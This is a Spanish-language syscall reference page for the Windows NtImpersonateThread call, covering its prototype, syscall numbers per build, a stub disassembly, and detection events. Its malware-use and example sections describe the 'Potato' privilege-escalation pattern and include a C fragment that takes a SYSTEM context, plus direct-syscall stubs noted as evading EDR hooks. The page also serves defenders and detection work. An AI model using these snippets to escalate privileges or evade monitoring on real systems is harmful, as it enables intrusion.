NtImpersonateThread
Hace que el hilo servidor impersone el contexto de seguridad del hilo cliente.
Prototipo
NTSTATUS NtImpersonateThread( HANDLE ServerThreadHandle, HANDLE ClientThreadHandle, PSECURITY_QUALITY_OF_SERVICE SecurityQos );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| ServerThreadHandle | HANDLE | in | Handle al hilo que adoptará el contexto de seguridad del cliente. Requiere THREAD_IMPERSONATE (0x100). |
| ClientThreadHandle | HANDLE | in | Handle al hilo cuyo contexto se adopta. Requiere THREAD_DIRECT_IMPERSONATION (0x200). |
| SecurityQos | PSECURITY_QUALITY_OF_SERVICE | in | Nivel de impersonación solicitado (SecurityIdentification, SecurityImpersonation, SecurityDelegation). |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0xEE | win10-1507 |
| Win10 1607 | 0xF1 | win10-1607 |
| Win10 1703 | 0xF4 | win10-1703 |
| Win10 1709 | 0xF5 | win10-1709 |
| Win10 1803 | 0xF6 | win10-1803 |
| Win10 1809 | 0xF7 | win10-1809 |
| Win10 1903 | 0xF8 | win10-1903 |
| Win10 1909 | 0xF8 | win10-1909 |
| Win10 2004 | 0xFD | win10-2004 |
| Win10 20H2 | 0xFD | win10-20h2 |
| Win10 21H1 | 0xFD | win10-21h1 |
| Win10 21H2 | 0xFE | win10-21h2 |
| Win10 22H2 | 0xFE | win10-22h2 |
| Win11 21H2 | 0x103 | win11-21h2 |
| Win11 22H2 | 0x104 | win11-22h2 |
| Win11 23H2 | 0x104 | win11-23h2 |
| Win11 24H2 | 0x106 | win11-24h2 |
| Server 2016 | 0xF1 | winserver-2016 |
| Server 2019 | 0xF7 | winserver-2019 |
| Server 2022 | 0x102 | winserver-2022 |
| Server 2025 | 0x106 | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 06 01 00 00 mov eax, 0x106 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
NtImpersonateThread es la primitiva de impersonación *directa* hilo-a-hilo — no se requiere handle de token intermedio. Es la llamada que el runtime servidor LRPC / ALPC invoca cuando un método RPC declara `[in] handle_t` y el llamante tiene privilegios suficientes para ser impersonado. A diferencia del enfoque por handle de token (NtOpenProcessTokenEx -> NtDuplicateToken -> NtSetInformationThread), esta única llamada captura atómicamente el contexto de seguridad efectivo del hilo cliente. El SSN deriva en casi cada build — `0xEE` en Windows 10 1507, `0x106` en Windows 11 24H2 — por lo que la resolución dinámica de SSN es obligatoria para herramientas portables.
Uso común por malware
El alma del lado kernel de toda la **familia Potato** (HotPotato, RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, SweetPotato, RemotePotato0, GodPotato). El patrón de ataque: engañar a un servicio en contexto SYSTEM (Print Spooler, MSDTC, RPCSS, BITS) para que haga una llamada RPC autenticada a un endpoint local malicioso; ese endpoint llama entonces a `NtImpersonateThread(NtCurrentThread, callerThread, &qos{SecurityImpersonation})` para capturar el contexto SYSTEM. Con `SeImpersonatePrivilege` ya concedido a la mayoría de cuentas de servicio (LOCAL SERVICE, NETWORK SERVICE, identidades de app-pool IIS), esta única primitiva tiende el puente SERVICE -> SYSTEM. La misma llamada usan las variantes BOF `make_token` de Cobalt Strike cuando impersonan directamente un hilo objetivo en vez de un token de proceso.
Oportunidades de detección
Objetivo de detección de alta fidelidad. El evento Windows Security **4624 con Logon Type 3** + nivel de impersonación `Impersonation` (3) o `Delegation` (4) registra el cambio de contexto. Más importante aún, el provider ETW `Microsoft-Windows-RPC` emite `EVENT_ID 5` (RpcServerImpersonateClient) del lado servidor RPC — correlacionar un servidor RPC inesperado impersonando a un cliente de alto privilegio es la detección canónica de Potato. El evento **4673** (Sensitive Privilege Use, SeImpersonatePrivilege) se dispara al ejercer el privilegio. Los EDR hookean `ntdll!NtImpersonateThread`; los syscalls directos lo evaden pero la traza de auditoría del kernel y el ETW RPC permanecen. Vigilar procesos no-IIS, no-Print-Spooler, no-MSDTC que invocan esta llamada sobre hilos que no crearon.
Ejemplos de syscalls directos
asmx64 direct stub (Win11 24H2)
; NOTE: SSN moves every build — resolve dynamically for portability.
NtImpersonateThread PROC
mov r10, rcx ; ServerThreadHandle
mov eax, 106h ; SSN on Win11 24H2
syscall
ret
NtImpersonateThread ENDPcPotato-style SERVICE -> SYSTEM impersonation
// Inside a malicious local RPC endpoint reached by a coerced SYSTEM service.
// The current thread is servicing the RPC; the caller's thread carries SYSTEM context.
SECURITY_QUALITY_OF_SERVICE qos = {
.Length = sizeof(qos),
.ImpersonationLevel = SecurityImpersonation,
.ContextTrackingMode = SECURITY_STATIC_TRACKING,
.EffectiveOnly = FALSE,
};
// hClientThread was obtained via RpcImpersonateClient + OpenThread on the caller,
// or directly from an LPC port message.
NTSTATUS s = NtImpersonateThread(NtCurrentThread(),
hClientThread,
&qos);
if (NT_SUCCESS(s)) {
// We are now SYSTEM on this thread. CreateProcessAsUserW with the duplicated
// token gives us a SYSTEM-context cmd.exe.
HANDLE hTok;
NtOpenThreadTokenEx(NtCurrentThread(),
TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY,
TRUE, 0, &hTok);
// ... NtDuplicateToken -> CreateProcessAsUserW("cmd.exe")
}rustImpersonation chain stub with naked-asm direct syscall
// Direct-syscall NtImpersonateThread used inside a Potato-style RPC server.
use std::arch::asm;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::SECURITY_QUALITY_OF_SERVICE;
#[unsafe(naked)]
pub unsafe extern "system" fn nt_impersonate_thread(
_server: HANDLE,
_client: HANDLE,
_qos: *mut SECURITY_QUALITY_OF_SERVICE,
) -> i32 {
asm!(
"mov r10, rcx",
"mov eax, 0x106", // Win11 24H2; resolve dynamically in real loaders
"syscall",
"ret",
options(noreturn),
);
}
// Higher-level helper kept short for clarity.
pub unsafe fn become_caller(server: HANDLE, client: HANDLE) -> bool {
let mut qos = SECURITY_QUALITY_OF_SERVICE {
Length: std::mem::size_of::<SECURITY_QUALITY_OF_SERVICE>() as u32,
ImpersonationLevel: 2, // SecurityImpersonation
ContextTrackingMode: 0, // STATIC
EffectiveOnly: 0,
};
nt_impersonate_thread(server, client, &mut qos) == 0
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20